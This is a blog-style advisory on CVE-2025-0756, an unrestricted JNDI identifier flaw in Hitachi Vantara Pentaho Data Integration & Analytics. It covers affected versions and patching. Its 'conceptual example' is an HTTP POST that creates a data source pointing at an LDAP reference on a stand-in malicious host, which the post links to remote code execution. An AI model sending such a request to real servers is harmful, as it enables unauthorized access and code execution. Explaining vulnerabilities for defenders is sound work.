{"id":31196,"date":"2025-04-25T13:19:10","date_gmt":"2025-04-25T13:19:10","guid":{"rendered":""},"modified":"2025-09-10T23:20:03","modified_gmt":"2025-09-11T05:20:03","slug":"cve-2025-0756-unrestricted-jndi-identifier-vulnerability-in-hitachi-vantara-pentaho-data-integration-analytics","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-0756-unrestricted-jndi-identifier-vulnerability-in-hitachi-vantara-pentaho-data-integration-analytics\/","title":{"rendered":"<strong>CVE-2025-0756: Unrestricted JNDI Identifier Vulnerability in Hitachi Vantara Pentaho Data Integration &#038; Analytics<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-0756 is a significant cybersecurity vulnerability that affects Hitachi Vantara Pentaho Data Integration &#038; Analytics versions prior to 10.2.0.2. This vulnerability arises from the product&#8217;s improper handling of Java Naming and Directory Interface (JNDI) identifiers, which can be exploited by attackers to gain unauthorized access to sensitive system resources or data. Given the prevalence of Pentaho&#8217;s data integration and analytics solutions across industries, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28197-ssrf-vulnerability-in-crawl4ai-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"37988\">vulnerability has the potential<\/a> to impact a wide range of organizations, emphasizing the critical need for prompt and effective mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-0756<br \/>\nSeverity: Critical (9.1 CVSS v3 Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential <a href=\"https:\/\/www.ameeba.com\/blog\/yale-new-haven-health-system-data-breach-a-comprehensive-analysis-of-a-cybersecurity-breach-impacting-5-5-million-patients\/\"  data-wpil-monitor-id=\"38585\">system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2218578591\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Hitachi Vantara Pentaho <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51055-insecure-data-storage-vulnerability-in-vedo-suite-version-2024-17\/\"  data-wpil-monitor-id=\"81570\">Data Integration | versions<\/a> before 10.2.0.2, including 9.3.x and 8.3.x<br \/>\nHitachi Vantara Pentaho Analytics | versions before 10.2.0.2, including 9.3.x and 8.3.x<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26683-improper-authorization-vulnerability-in-azure-playwright\/\"  data-wpil-monitor-id=\"35684\">vulnerability lies in the improper<\/a> restriction of JNDI identifiers during the creation of platform data sources. An attacker can exploit this by sending a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24189-memory-corruption-vulnerability-due-to-maliciously-crafted-web-content-in-various-operating-systems\/\"  data-wpil-monitor-id=\"81572\">crafted request that includes a malicious<\/a> JNDI reference. The target system, failing to appropriately restrict or validate the JNDI identifiers, treats it as a legitimate reference, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26927-epc-ai-hub-unrestricted-file-upload-vulnerability-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"36098\">leading to access to protected files<\/a> or directories, including configuration files and files containing sensitive information.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3488787818\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here\u2019s a conceptual example of a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36039\">request exploiting the vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/platform\/datasource HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/xml\n&lt;data-source&gt;\n&lt;name&gt;test&lt;\/name&gt;\n&lt;type&gt;JNDI&lt;\/type&gt;\n&lt;connection&gt;ldap:\/\/malicious.example.com\/Exploit&lt;\/connection&gt;\n&lt;\/data-source&gt;<\/code><\/pre>\n<p>In this example, the `connection` element contains a malicious LDAP reference that could lead to unauthorized resource access or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30967-critical-csrf-vulnerability-in-wpjobboard-plugin-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"36076\">remote code<\/a> execution.<\/p>\n<p><strong>Mitigation &#038; Patch Information<\/strong><\/p>\n<p>Organizations running vulnerable versions of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35769\">Hitachi Vantara Pentaho Data Integration<\/a> &#038; Analytics are advised to immediately apply the vendor-provided patch to upgrade their systems to version 10.2.0.2 or later. Alternatively, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. However, these are only stop-gap <a href=\"https:\/\/www.ameeba.com\/blog\/hungarian-government-s-cybersecurity-measures-unpacking-the-implications-and-potential-solutions\/\"  data-wpil-monitor-id=\"81571\">measures and may not provide complete protection against potential<\/a> exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-0756 is a significant cybersecurity vulnerability that affects Hitachi Vantara Pentaho Data Integration &#038; Analytics versions prior to 10.2.0.2. This vulnerability arises from the product&#8217;s improper handling of Java Naming and Directory Interface (JNDI) identifiers, which can be exploited by attackers to gain unauthorized access to sensitive system resources or data. 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